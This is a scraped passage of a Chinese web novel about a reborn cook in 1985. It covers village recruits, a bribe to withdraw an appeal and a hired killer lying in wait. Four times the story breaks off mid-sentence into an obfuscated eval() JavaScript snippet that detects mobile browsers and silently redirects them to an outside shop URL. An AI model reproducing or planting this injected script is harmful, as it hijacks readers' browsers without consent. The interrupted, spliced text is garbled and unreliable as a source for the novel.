五装大个,根本没当回事,一个外来的老光棍,抢了也就抢了,一只羊能值几个钱。
现在听黎军这么一说,个个心里是拔凉拔凉的。
“军哥,你说这事要咋弄,我们兄弟都听你的?”
“那老头报**了没?”
“大军哥,你能这么说,肯定是心里有了主意,就别跟兄弟们卖关子了,直接给哥几个指条明路吧!”
李春材跟黎军年龄差不多,这声大军哥叫得不顺嘴,但是喊过一次就很丝滑了。
他比其他人脑袋瓜的水少点,猜到黎军可能是有话说。
“蠢材应该知道我家以前的窑洞吧,杨老头就住在那,我也是去老村闲逛看景,碰巧碰上他了。
你们猜怎么着,老头痛哭流涕问我怎么报案,我一问才知道你们整的这蠢事,好嘛,实打实的****,罪加一等,抓进去起码十五年起步。”
黎军点了根烟,连吓带蒙加大喘气。
其他人都要吓尿了。
“唉吆喂……我……我的亲哥,你……倒是赶紧说啊,他到……到底报**没?”
“就是啊,我的亲哥,你别大喘气行吗?
牛志强、屈战急的肝都颤了,心脏也不好了,脑瓜子也不会思考了,嘴唇子哆嗦都结巴了。
“腚沟子夹紧,肯定是大军哥拦下了呗,否则咱们这会就该在四堵墙里边待着了。”
李春材训斥牛志强等人,让他们安静听着。
“杨老头也是个可怜人,咱们兄弟再怎么不济,也不能欺负老实人对吧,传出去不得让江湖朋友耻笑。”
这高度,一下就把所有人的心死死地抓住了。
“军哥说的是,这事是兄弟们欠考虑了,那现在该咋弄,怎么补救一下子?”
黎军点了根烟,拿了拿架子:“你们也别上火,我听说是你们,就给了杨老头一百块钱,说你们是我兄弟,都是一村一院住着,犯不上经官。
你们是不知道,哥哥跟他叭叭地说了几个小时,让他别报**了,事情闹大了对谁都没好处……
好说歹说他后来勉强答应了,但是你们得跟他道个歉,毕竟人家那么大年龄,你们抢走羊的时候,推搡了人家,而且谁嘴里还不干不净来着。”
第50章 一个好汉三个帮
黎军就是纯纯的给自己加戏,他拢共跟杨老头也没说半个小时,报**也是他自己说的。
这些人喝了酒,现在义气得要命,正是忽悠的最佳时机,整得好了,以后他的跑腿小弟就没跑了。
“看看,还是军哥够义气,哥几个以后跟你混了”
“就是,军哥让我们追狗,我们绝不撵鸡。”
果不其然,这不就贴上来了嘛。
“哥几个,既然你们叫我一声军哥,我也不能小气了。”
说到这,某人又端了一下架子,几个铁憨憨包括李春材都是一脸希冀地盯着。
“你们就打算这么闲着,一天九分钱的羊群抽着,玉米碴子咸菜疙瘩哄肚子,屁股贴个大补丁的人前晃荡着?”
大家都穷的时候,谁也不笑话谁,但是开放后,有些人已经行动起来了,临县街道上,喇叭裤花衬衫,火箭皮鞋大墨镜已经已经出现了。
都是年轻人,谁不羡慕,鲜衣怒马正是这个年纪追求的调调。
几个人看着黎军刚给的红塔山,心里是五味杂陈,这一包烟就是普通工人几天的工资,对他们来说,也许一个冬天也弄不到的。
黎军出手阔绰,一下就戳中这些人的痛点,也是大多数当前农村男孩的痛点。
“军哥,现在农闲,我们也没啥事可做啊,大家不都是这么猫冬的吗?”
“我们也不想啊,可是没啥门路啊!”
其实八五年的时候,农村的确没啥挖钱的路子,农户家里顶多就是养点鸡鸭鹅这些小型家畜,下蛋补贴点家用。
孩子的学费,书本费,老爷们的纸烟,家里的柴米油盐基本都靠这个。
“你们想不想挣点钱,美美的过个肥年?”
往正题上代入,廉价劳动力随之即来。
“军哥你有啥门路,带兄弟们一个呗!”
黎军又给发了一圈烟:“有道是花花世界迷人眼,小伙没钱你就干瞪眼。
你们也别鬼迷日眼的满村里晃荡了,猪嫌狗不爱的,对自己名声也不好,跟着**吧!”
所有人眼睛都亮了,他们一天无所事事自己也不想,但那时候消息相对闭塞,都是老实巴交的农民孩子,根本没路子。
“不管干啥,只要军哥吩咐,兄弟们都跟着你干。”
“就是,省得村里谁家丢了鸡呀狗呀的,都往咱哥们头上安顿。”
牛志强说这话的时候有点底气不足,十里八乡的谁都知道他们这些好吃懒做的不着调。
“嘿嘿嘿,牛子,你说这话脸不红吗,除了偷鸡摸狗,打架斗殴之外,咱哥们再没有其他擅长的了好吧!”
“哈哈哈……”
几个人轰笑。
黎军心里清楚,这些人本性不坏,说白了就是没啥心眼,有个人带的话,做事还是挺靠谱的。
“我把老村和后边的荒山承包了,打算开过年搞封山养殖和大棚菜,你们没事的话,现在就跟我弟去栽围篱,我每天每人开一块五,咋样?”
当时普通工人工资三五十块,一块五对农村人来说不算少,尤其是他们这些闲汉,两块钱都能花两个礼拜的人。
所有人眼里泛着绿光,一眨不眨盯着黎军。
“大军哥,你没开玩笑吧?”
李春材问出所有人的疑惑。
“看你那没见过世面的模样,以后跟着军哥混,包你们天天吃香喝辣,吃肉吃到吐那种。”
这话极具震撼性,农村人一年到头也吃不上几顿肉,吃到吐那的是什么神仙日子。
“咋样,都愿意干吗?”
黎军好整以暇问道。
必须愿意,天上掉馅饼的好事,不愿意就是大脑萎缩,小脑抽筋了。
“那行了,明天一大早去我家门口,我弟强子会带你们一起干,工资月结,离过年还有差不多两个月,到时候都过个肥年。”
所有人欢天喜地。
送黎军离开的时候,这些人已经摆正自己的位置了,一口一个军哥地叫着,仿佛已经在他手底下干了许久的模样。
“哎……好好的孩子,非得跟一群烂仔往一堆凑。”
出门的时候,李把式长长地叹息道。
黎军把准备好的一包烟塞给他:“叔,我们有正事商量呢,以后春材也不会吊儿郎当了。”
李把式推辞了一下:“你这孩子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067820|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这么好,干嘛跟他们扎堆,那就是些不干人事的混账,老天真是不开眼呢!”
黎军嘴角直抽搐,这李春材是不干人事啊,自己老爸都这么嫌弃。
“哎呀……大,你别啰嗦了,我以后不瞎混了,跟着黎军干正事。”
李春材的话让李把式觉得有点不真实:“爱皮弄啥就弄,狗改不了吃屎的玩意,老子就当没生过你着烂货。”
李把式连他的一个标点符号都不信。
第二天一大早,黎军和黎强站在自家门口。
“哥,我咋觉得你没睡醒呢,李蠢材那群人,根本就是稀泥扶不上墙的烂仔,他们要能下苦力挣钱,恐怕母猪都能上树了。”
黎强压根就不信一群**能脚踏实地干活。
“不信就等着看呗,对了,一会悄默声把这一百块钱给杨老头,让他别声张了。”
黎军另外塞给弟弟一百块钱,昨晚的说辞都是他临时发挥,忽悠李春材等人的。
“干嘛给他钱?”
黎强不解。
黎军把李春材等人抢羊的事说了一遍,黎强都惊了。
“不是……哥,这群人这么无法无天,你还拉他们干嘛,让**抓走得了。”
黎军拍了拍兄弟的肩膀:“一个好汉三个帮,一个篱笆三个桩,咱哥们要做大做强,没点班底怎么行,这些人没大毛病,只是瞎混而已,那么大一片山林,光是栽围篱都得几个月,靠你跟杨老头的干到啥时候,黄花菜都要凉了好吧!”
说到这,黎强不吭声了。
“对了哥,今晚还去大姐家吗?”
黎军想了想:“暂时算了吧,他家干活的人不少,等过年主体动工了再去。”
“对了哥,李春材这些人吃饭咋弄,加上我跟杨老头七个人呢,总不能也让妈做吧?”
黎军骑车准备出发上班时,黎强突然叫住他问道。
黎军想了想:“算了,去二食堂吃吧,我来安排,你带人去报我名字就行了。”
“嘿……还得是我哥,这敞亮,那我跟爸也说一声,让他中午也去你那里吃呗,省得他还要回家吃饭。”
黎强笑得开心。
第51章 变脸如翻书
上班后,黎军先给经理刘小福打了个招呼,安排了弟弟等人的吃饭问题。
“这是给二食堂增加收入呢,有啥不行的,我做主了,半价给他们吃咋样?”
刘小福很客气,黎军现在可是二食堂的台柱子,不给面子不行啊,而且当时餐饮业的利润很高,半价售出依然有盈利,也不算白忙活。
按说在食堂上班,家人吃个饭不叫事,但是这日子长了,人多嘴杂,怕给人说闲话。
八点多点,黎强带着老爸以及李春才等人,骑了四辆自行车来到二食堂门前。
李莉莎分在了早点班,看到一群打扮土气的泥腿子过来,一丝嫌弃不自觉浮上脸面。
黎强和老爸穿着洗得发白的旧军装,算不上寒碜,毕竟军装在那是属于永不褪色款。
李春材等人就没眼看了,裤子上还打着补丁,尤其是牛志强,屁股上整个一大块,颜色明显不一致。
钟大伟也好不到哪里去,脚上的棉窝子被脚指头戳了一个洞,大冷天的看着都冷。
农村人刚摆脱饿肚子的命运,生活物资自然不会宽裕,家里兄弟姐妹多的,一条裤子从老大到老小,夸张的能流传七八年甚至十几年之久。
“每人五个包子,一碗豆腐脑。”
在门外的桌子坐下,黎强招呼服务员道。
“吃啥馅的?”
李莉莎问道。
几个人对视一眼,在他们的印象里,包子不是素的就是肉的。
“都要肉的”
李春材道。
“牛肉还是猪肉,还有排骨馅,鸡肉馅,豆沙馅?”
李莉莎有些不耐烦,不知道包子有各种肉馅吗,一群土老帽。
她的态度符合国营饭店的气质,黎强等人也不在意。
“还有排骨馅,那玩意能包包子吗,皮不得戳破了?”
黎父意外道。
“我们厨师长推出的排骨馅一天能卖十几屉,也没见戳破一个,一群土鳖。”
“你这同志咋说话的,说得好像你不是土鳖一样,猪笑老鸦黑呢,真是癞**上称盘,不知道自己几斤几两?”
黎强直接怼,敢说他老子,给你脸了是吗,在他眼里,只有好人和坏人的区别,女孩子照样嘴炮伺候。
“你……没素质的泥腿子。”
李莉莎气得翻白眼,直跺小脚。
“小李同志,你什么态度,赶紧跟客人道歉。”
刘小福突然从里边出来,之前黎军给他打过招呼,自己却因其他事耽搁了一会,还没来得及给早班打招呼呢,就看见门外似乎吵了起来。
李莉莎赌气地看着刘小福,眼睛里有水雾升腾,一副受委屈的白莲架势。
“经理,他还说我是猪呢,怎么不跟我道歉。”
黎家爷们都是大高个高鼻梁深眼窝,外貌特征很明显,黎强跟哥哥又很像,刘小福一眼就认出了身份。
“微笑服务你忘了吗,早餐是咱们最重要的生意,另外,这几位是黎师傅的老爸跟兄弟,刚才跟我打了招呼的。”
一听说黎军的家人,李莉莎突然眉眼弯弯起来,脸色切换得极其自如,刘小福都被惊掉下巴了。
“原来是黎大叔跟黎哥呀,对不起,对不起,我刚才在想事情,态度不好,你们别在意,想吃什么我这就去拿。”
“嘿……好嘛,变脸比脱裤子还快,要是不认识黎军的,那眼睛都能斜到天上去了。
泥腿子咋了,老子要钱有钱,要人有钱,要啥都有钱,你不过是个端盘子的服务员罢了。”
黎强并不想放过李莉莎,又嘴炮一遍磋磨。
刘小福眼角不自然抽搐,这哥俩都挺直的。
李莉莎却不生气,讪笑道:“嘿嘿……黎哥说的没错,是妹子眼皮子浅了,以后再也不敢了。”
“你去里边忙吧,早餐换伍一凡来吧!”
刘小福道,对黎军他可是当大爷一样敬着,二食堂有解散的危险他也是才知道,铁饭碗都要不保了,不上心不行啊!
所以一点影响生意的不利因素都要杜绝掉,黎军不止一次强调,服务态度是餐饮的生存之本。
李莉莎冲黎强尬笑一下,回后厨去了,早上服务员大多在后厨帮忙打杂。
“军哥,对不起了,我不认识你弟和黎叔。”
黎军正在灶台上忙活,被李莉莎这话整得有点懵。
“这是咋了,不是跟你们都说了吗,别做对不起我的事?”
后厨的人被逗笑,史建军开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067821|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玩笑:“你咋对不起大军了,背叛了吗,话说你们还没确定关系吧!”
“老史,这你就外行了不是,有些事哪能让外人知道。”
李莉莎弄了个大红脸:“一群讨厌鬼,就知道鬼扯。”
黎强带着李春材等人围坐在两张条桌边大快朵颐,大肉包子一口下去简直太满足了。
“这包子真好吃。”
“那可不,**馅的能不好吃吗,跟着军哥混准没错。”
刘小福拆开一包烟,给几个人散了一圈。
“您就是黎叔吧,你们爷们都挺像的。”
黎父笑道:“你是饭店领导吧,我家老大在这干得咋样?”
刘小福点头:“我是经理刘小福,黎师傅可是我们二食堂的救星,手艺没得说,许多好点子都是他出的。”
“刘经理,刚才那女人有病吧,变脸跟翻书似的,你们有这样的服务员可不行呢!”
黎强还是没忘李莉莎的恶劣态度。
“呵呵……还是我们的培训工作不到位,对不住啊!”
刘小福能说啥,李莉莎是徐总的铁关系,他也得罪不起。
就在众**肉包子吃得正欢的时候,一道紫色的身影走向门外的售饭桌子。
“同志,黎军在没?”
听到这声音,吃包子的黎家父子相视一眼,两脸懵逼。
“华妮娜,她还找我哥干嘛?”
黎强一脸疑惑地问老爸。
“我咋知道,这家人没一个省油的灯,让你哥离她远点。”
黎强塞下最后一口包子:“我当我哥是猪吗,他精的跟猴一样,能让这家人算计了?”
黎父黑着脸:“他以前还不是哈巴狗一样,净让华家人算计呢。”
说到这个,黎强突然严肃起来:“老爸,你有没有发现,我哥这次转业后,有点不一样了。”
哥俩晚上睡一个屋,黎强自然能发现一点异常。
“除了退婚让我意外之外,其他挺正常的啊!”
售饭桌跟前,伍一凡笑眯眯道:“黎师傅在里边忙着呢,你等一下,我给你叫去。”
黎军走出来时,一看是华妮娜,扭头就要回去,连老爸兄弟都没顾上看一眼。
“黎军,你等下”
第52章 库房里的秘密
“华妮娜,你还有完没完,你不用上班有人养,我可不行,不上班将来连老婆都娶不起。”
华妮娜面露娇弱:“我想跟你说几句话,我们去那边。”
前天和昨天晚上,她们家人冻了大半夜,连黎军一根**都没等着。
华龙华虎每天都被侯正东催问,说今天再不下手,就让他俩从机械厂滚蛋。
华妮娜也是下了狠心,侯正东他们家得罪不起,更不想赔钱,所以只能对黎军下狠手了。
她的想法是随便找个没人的地方,拉住黎军就喊非礼耍流氓,让这货吃不了兜着走。
“有啥事就这说,男女授受不亲,传出去坏了我的名声,也不对,跟你我没啥说的。”
华妮娜气抖冷。
旁边的伍一凡和刘小福差点笑喷,听听,说的这叫人话吗,你一个大老爷们还怕坏了名声。
“你……一点都不念旧情吗,就跟你说几句话而已。”
华妮娜说着,豆大的泪珠子吧嗒吧嗒往下掉。
黎军一副惊恐表情看向其他人:“你们可都看见了啊,给我作证,我根本啥都没做,离这女人还有两三米呢,她哭哭啼啼跟我可没关系。”
所有人懵懵地看着他,不知道这演的是哪出。
华妮娜不说话,就那么死死地瞪着黎军,任由眼泪吧嗒往下掉。
黎军就很无语,这演技不拿奥斯卡小金人都屈才了。
“华妮娜,别在这装可怜了,赶紧走吧,我们都分手了,我也不想跟你有啥说道,有啥委屈找你的胜利哥去,或者你公公侯正东也行,他可是个公社**呢!”
旁人立刻秒懂,典型的攀上高枝案例吗,还回来干嘛。
华妮娜都要气劈叉了,她这幅模样,不就是侯家父子给逼的吗。
黎军不上当,她也没招,只能悻悻地离开,怨毒的眼神能**的话,某人已经**了无数遍了。
黎强这时走过来:“哥,这华妮娜啥意思,死皮赖脸贴上来干嘛?”
黎军想了想:“也许是侯正东让她求我别上诉吧!”
除了这事,黎军也想不出自己有啥地方可以让华妮娜死缠烂打的。
“那你打算咋办,要不然算了吧,人家赔了那么多钱呢!”
黎军点头,觉得侯正东挺奇怪的,自己大大方方来说,拿出点诚意,自己绝对就屁颠地撤诉了,非得要华家人过来恶心一下自己。
“我这边没事,你们忙去吧,对了,回去给杨老头也带几个包子,以后过来吃饭时,把他也带上。”
黎强撇嘴:“哥,你绝对是飘了啊,这还一分钱没挣呢,就这么大张旗鼓的祸祸钱,真当大风刮来的吗。”
机械厂门口,侯正东再次来到这,华家兄弟和华妮娜父女都在。
“亲家,实在是没机会啊,我们等了两个晚上,那杂种干脆就没露面,今早上妮娜去二食堂找他,众目睽睽之下,根本没机会靠近他……”
华老三唯唯诺诺,虎子华龙华虎愤愤不平。
“侯叔,我们真的尽力了,冷僻哇哇的在野地里冻五六个小时,他不出现我们也没法子啊!”
“叔,你再想想其他办法吧,那杂碎一个大活人,不想叫我们靠近,我们也无计可施!”
“废物,一家子废物,就知道吃的瓜皮二百五。”
侯正东勃然大怒,唾沫星子喷了华龙华虎两脸,甩袖子直接走了。
华家人站在机械厂门口,初升的朝阳洒在身上,一点温暖的感觉也没有。
华妮娜双拳紧握,指甲掐进掌心都浑然不知,侯正东看他们一家子的眼神极其可怕,仿佛要**的猛兽。
她后悔的肠子都青了,当初真不该听父母的撺掇啊!
一个礼拜很快过去,二食堂的生意稳中有升,日营业额偶尔会突破一千,黎军的心里终是松了口气。
照这么下去,二食堂保住问题不大,自己的铁饭碗算是真正端稳了。
黎强那边,铁丝围栏已栽下去大半,老村已经围了快一半了。
黎父给人打的结婚家具也已经完工,也没有继续找活干,跟着二儿子一起帮着栽围栏去了。
十二月十号这天中午,黎军去了一趟老干所,看了一下黎老爷子,顺便给他带了几个大猪蹄子和一箱西凤酒。
老头没别的爱好,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067822|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喜欢喝酒吃肉,黎军也乐得满足他,七十的人了,能吃能喝就是福。
回到饭店,刘小福坐在休息区沙发上看报纸喝茶,见他回来就放下报纸:”离上班还早,去二楼躺一会呗。”
黎军看了看挂钟,离上班还有不到一个小时,就摇头说算了。
“算了,我去库房看看,需要请购调料和干货了,你没事去展一下腰,其实你没必要值班的,留两个小姑娘盯着就行了,来人去楼上招呼一下就行了。”
干餐饮的晚上要熬夜,中午忙完后都有几个小时休息时间。
“一视同仁,按照排班表来。”
刘小福并没有经理的派头,跟工人同吃同住,一点架子也没有。
“随你吧,做人别太较真,有权不用过期作废。”
黎军拿了点菜夹子和圆珠笔就往库房走去。
二食堂的库房跟后厨相连,有一墙之隔,调料干货面粉大米都在库房备用着。
“嘘……小声点……”
刚要推门而入,突然听到有压抑的声音传来,而且声音听着很熟悉。
“史建军,这货在库房干嘛?”
黎军反应过来,以为这货在库房偷东西之类,有道是厨子不偷,五谷不收。
作为厨师长,可不能由着下边的人偷拿公家的东西,二食堂现在可是关键时期,利润关乎它的去留与否。
悄默声推开门缝往里瞧,黎军瞬间就定住了,觉得脑瓜子嗡嗡的。
库房里的大米区域,史建军和服务员李某拥在大米袋子上……热火朝天的干仗三百合。
哎呀,简直辣眼睛,饶是黎军重活一世,也觉得要长针眼了。
无声无息地关上门,小心脏不争气地突突跳,太劲爆了,实打实的现场直播能不博眼球吗?
上次去一食堂帮忙,他就发现这两个人不正常,现在被抓包现形,他就奇怪了,这两个人屁股不冷吗?
靠在墙上点了一根烟等着,他怕万一有人进库房,史建军的乐子就大了去了,李某人也别做了。
几分钟后,库房里响起脚步声,黎军赶紧退回到后厨,假模假式的打量起炉子来。
第53章 有枣没枣打一杆子就完了
史建军一番冲刺,心满意足地出了库房,就觉得门外烟味很大,仿佛谁刚在这抽烟了似的。
他心虚地四下里看了看,没什么异常后,轻轻地敲了敲库房门,自己则快步往后厨而去。
库房是后厨隔开的独立空间,要离开库房,后厨就成了必经之路。
“大军,你不是去老干所了吗,怎么回来这么早?”
史建军厚着脸皮笑道。
“嘿嘿嘿……”
黎军阴恻恻地笑着,史建军顿时头皮发麻,这笑容里包含的意思忒多了。
“哎呀……怪不得库房里总有股怪味,感情是你老小子整出来的,以后不能吃米饭了,恶心。
我就纳了闷了,你们一个个的不嫌沟子冷吗,好家伙,我都怕长针眼了。”
黎军坏笑打趣。
史建军贱兮兮地凑上来,掏出一盒大前门就往黎军兜里塞。
“哎哎哎,干啥干啥,休想贿赂我,你这大前门也太抠了,我不能答应,这么好的大好青年被你们荼毒,你能忍心吗?”
“哎吆,我的祖宗,赶紧夹上你的腚沟子,当心给人听了去。”
史建军都要吓尿了。
“现在知道怕了,鼻涕流进嘴巴里知道甩了,你说你们都有家有室地,图啥啊,就图屁股冷刺激吗?”
黎军收起大前门,这烟要是不收,史建军也不能放心了。
“嘿嘿……妻不如妾,妾不如婢,婢不如妓,妓不如偷,偷得着不如偷不着,你不是过来人,说了你也不懂,这事替哥哥保密啊!”
黎军翻了个白眼:“有道是不作死就不会死,你就作吧,等哪天嫂子发现,看她阉不阉你就完了,一天天的拿着那二两肉胡戳乱捣。”
这时李姓服务员也进了后厨,看见两人嘀嘀咕咕顿觉大事不妙,大有种被抓包的尴尬。
“嘿嘿……李姐,我没看见你们俩在库房来着。”
史建军李某两脸黑。
你就多余说这一句,不是明晃晃的恶心人吗?
下午刚上班,一个服务员来后厨,告诉黎军大厅里有人找他。
“侯……**,什么风把你吹到二食堂了,稀客啊!”
来人正是侯正东。
昨天**的党卫国告诉他,黎军去问了上诉的事情,让他赶紧想办法,让受害者放弃上诉,自己这边也打算再妥协一下,再赔偿一些钱满足他的要求。
电话里,党卫国说得很明白,侯胜利是主谋,重新审理估计会严判重判,无期甚至**都有可能。
侯正东都吓尿了,他就这么一个儿子,说什么也不能重审。
侯正东嘴角抽搐着,勉强挤出来一点笑容。
“黎军,找个地方说话吧,我想跟你聊聊。”
黎军清楚他的目的,无非就是让自己撤诉,这也是他的目的,有枣没枣打一杆子就完了,他也没想着再把侯胜利咋样,人家赔了一大笔钱足够了。
“一凡,倒两杯茶给包间里,我说点事。”
包间里,侯正东开门见山:“黎军,我的目的你应该清楚,咱明人不说暗话,你要怎么样才能放弃上诉。”
“你们这事弄得太明显了,瞎子都能看见有猫腻,我有啥办法,当时你也看见了,我爷和郭**都在,他们又不是瞎子。”
黎军打起了太极。
侯正东脸色阴沉:“你是当事人,别人再怎么看没用,只要你点头,我愿意再拿出一万块,你觉得怎么样,做人要知足,这些钱够你干二十年了,人一辈子有几个二十年。”
黎军笑了,这一杆子真的没白打,不过既然对方说了,讨价还价掩盖一下欣喜的表情应该有。
“两万,最少两万我就撤诉。”
侯正东差点气死,面前这货简直贪得无厌,比他自己当年还可恨。
“行……你等着,我这就去拿钱。”
咬牙切齿同意。
黎军意外了,他就随便一说,没想到对方居然真的答应了,里边不会有鬼吧!
他哪里知道,侯正东是真急了。
开玩笑,儿子的案子重新审理,无期或者**了,他还活不活了,要再多的钱又有个**用。
侯正东出门,没几分钟又进来,黎军刚要出包间跟他碰了个照面。
有钱人,两万块说拿出来就拿出来,估计本来就在车上放着呢!
“这事咱们就此揭过,现在四点整,还来得及,我去**撤诉。”
黎军接过钱,特别爽快地去撤诉了。
重生退婚果然是个大梗,华妮娜简直就是他的福星,现在想起她居然都有些可爱的感觉了。
妥妥的一个万元户就因为退婚诞生了,要不要这么寸地。
侯正东嘴角扯了扯离开食堂,眼神中透出一丝残忍。
“小杂种,有些钱不是那么好拿的,你给老子等着。”
撤了诉就意味着维持原判。
黎军不禁感叹,重来一次,莫名其妙就成了八十
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067823|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年代的万元户,这在当时含金量可是极高的。
老天对自己不薄,不仅给了重活一世的机会,连起步资金也给准备好了。
傍晚,临县东郊某村。
一个戴着帽子口罩的人从吉普车上下来,裹了裹黑色的毛呢大衣往村里走去。
村南头独户,丁家大门被拍响。
“谁呀?”
一道深沉的声音响起,大门并没有开。
“我……侯正东”
“吱呀”
大门打开,一个三四十岁的矮壮汉子开了门。
“侯叔,你咋来了,有什么难办的事吗?”
对方语气中透着欣喜。
“进去说”
两个人进了院子,走进上房。
黎军忙完已经是九点多了,走出后厨发现大厅里已经没啥人了,冬天的九点多已经很晚了。
“军哥下班了,你还要回去吗,你弟弟他们刚走没几分钟。”
李莉莎把大茶缸子递给黎军。
黎强带李春才他们栽围篱一周多了,说是累坏了,今晚带人喝点放松一下。
“嗯,现在天还没下雪,等下雪了就住在饭店里不回去了。
对了,你以后不值班没必要等在饭店里了,也别在后厨晃荡,怪碍事的,没事早点休息吧!”
早班下午六点就下班了,李莉莎没事就待在饭店或者后厨里,也不给人帮忙就闲转八卦,尤其爱往黎军跟前凑,后厨人都挺烦她的。
“军哥,人家就是想跟你多聊聊,看你说这话多伤人。”
声音不算小,其他收尾的服务员都看过来,黎军有点心虚,因为他中意的伍一凡也在其中。
李莉莎察觉到黎军的目光瞟向伍一凡,一股无名火顿时就上来了。
“都看什么看,没见过女追男吗?”
黎军捂着额头开溜,他不想被追好吧!
“**,这么彪悍的嘛,我怎么就碰不上这样的妹纸呢?”
“莉莎,看你把黎师傅都吓跑了,女孩子要矜持。”
“就是,上赶着不是买卖,你倒贴他就该拿架子了。”
李莉莎不以为意:“矜持,再矜持就该没我什么事了,没看到有人已经成功吸引军哥的眼球了吗?”
她说这话是盯着伍一凡说的,女孩顿时就觉得躺枪了,她目前对黎军可没有其他想法,毕竟刚进国营饭店不久,心思都在工作上呢!
一份正式工作对农村女孩来讲弥足珍贵,可不能马虎大意。
第54章 夜幕下的鬼魅
也有人注意到黎军在偷偷地关注伍一凡,大概能猜到点什么。
男大当婚女大当嫁,很自然的事情,又都是在一个锅里搅勺的年轻人,看对眼再正常不过。
刘曼、李谋女、杨彩凤等人是最早跟黎军接触的服务员,对他的心思转变门清得很。
李莉莎刚来的时候,黎军对她有点意思,也有意靠近搭讪过,后来接触多了就趋于平淡。
直到伍一凡来,对她也基本就没啥心思了,就是正常的男女同事关系。
不过李莉莎这人很现实,对自己上心的东西不会轻易放弃,为人也有点捧高踩低,这点就很不讨喜。
大家都在二食堂讨饭吃,临时工比正式工一点也不少干,工资拿得还低,可她就看不上几个临时工。
对人家颐指气使,趾高气扬。
为此几个老员工看她极不顺眼,说到底她也是新来的。
但是区别在她是一把手徐良战友的闺女,在饮食公司算是有后台的。
“嘿吆……男未婚女未嫁,能吸引黎军的眼光那叫本事,谁眼气谁知道。”
刘曼根本不鸟她,直接怼。
“可不是嘛,有些人没底线往上贴,一点距离感也没有,成天把厨师长的茶缸子搂在怀里,也不怕胸脯子烫秃噜皮了。”
李谋女阴阳怪气,人群轰笑。
李莉莎气得直突突:“要你管,我乐意。”
“我才懒得管你,小浪蹄子,把人吓得都哆嗦了,你没看他现在连茶水也不喝了吗?”
李莉莎突然就觉得这是真的,现在黎军的茶缸子基本都在她手里。
黎军麻溜地换上衣服,骑着自行车就去追弟弟一行人了。
都说三个女人一台戏,食堂里十几个女人,每到下班时候,那个八卦聊起来没完没了。
他还不他知道,二食堂大厅里正在围绕他展开了一场唇枪舌战。
伍一凡被裹挟着就挺无辜,低着头拖地一声不吭。
黎强等人吃饱喝足,骑着自行车往家赶。
出城后,干冷的低温让所有人禁不住缩着脖子吸溜冷气。
三辆自行车在坑洼不平的土路上跳跃颠簸,叮叮当当声音在旷野里有些突兀。
上次黎军被**的弯道不远处,两个鬼魅一样的人影蹲在一个废弃窝棚里。
他们蹲在这有些时间了,两个人的衣领和睫毛上都结了不少霜花。
“真踏马得冷啊,丁哥,你说咱们这一趟值吗,一条人命呢!”
“雇主说了,那小子身上还有两万块,得手后也是我们的。”
“嘿嘿嘿……三万块,那就值了,得手后咱哥们可就是妥妥的万元户了。”
丁玄从侯正东手里接过一万块钱和一把**后,带着他的死党小弟余粮,在二食堂点了几个菜,喝了点酒,顺便看了看目标人物黎军的特征,这才先一步离开,等在对方回家的必经之路上。
黎军的特征很明显,大高个犹如鹤立鸡群,一眼就能认出来。
丁玄看到他的块头时有些懵圈,这才明白侯正东为啥会交给自己一把**了,因为那块头自己拿着刀恐怕也干不过呀!
黎军出了食堂,骑着自行车往回走。
李莉莎现在让他有点蛋疼,太磨人了,尽管他已经表露出明显的厌恶了,对方依旧没事人一样贴上来。
骑出去大概几百米,突然想起个事,匆忙掉头往回骑,自行车蹬得都要冒火星子了。
侯正东给的钱忘拿了,这可是妥妥的又一笔巨款。
“黎师傅,咋又回来了?”
“是想听我们怎么议论你吧?”
服务员们笑着打哈哈。
黎军没吭声,大踏步走进后厨。
钱是个好东西,尤其是这年头,谁看见这么大一笔巨款不动心,万一谁翻了他的包,起了什么坏心思,事情就有点麻烦了。
军用挎包挂在后厨的衣帽钩上,还是原来的样子,黎军松了口气。
取下包打开看了一眼,钱还在,于是挂在脖子上再次离开。
“忘了拿包了,你们弄完了赶紧休息。”
出门时,跟服务员们打了个招呼,根本没留意她们在议论什么。
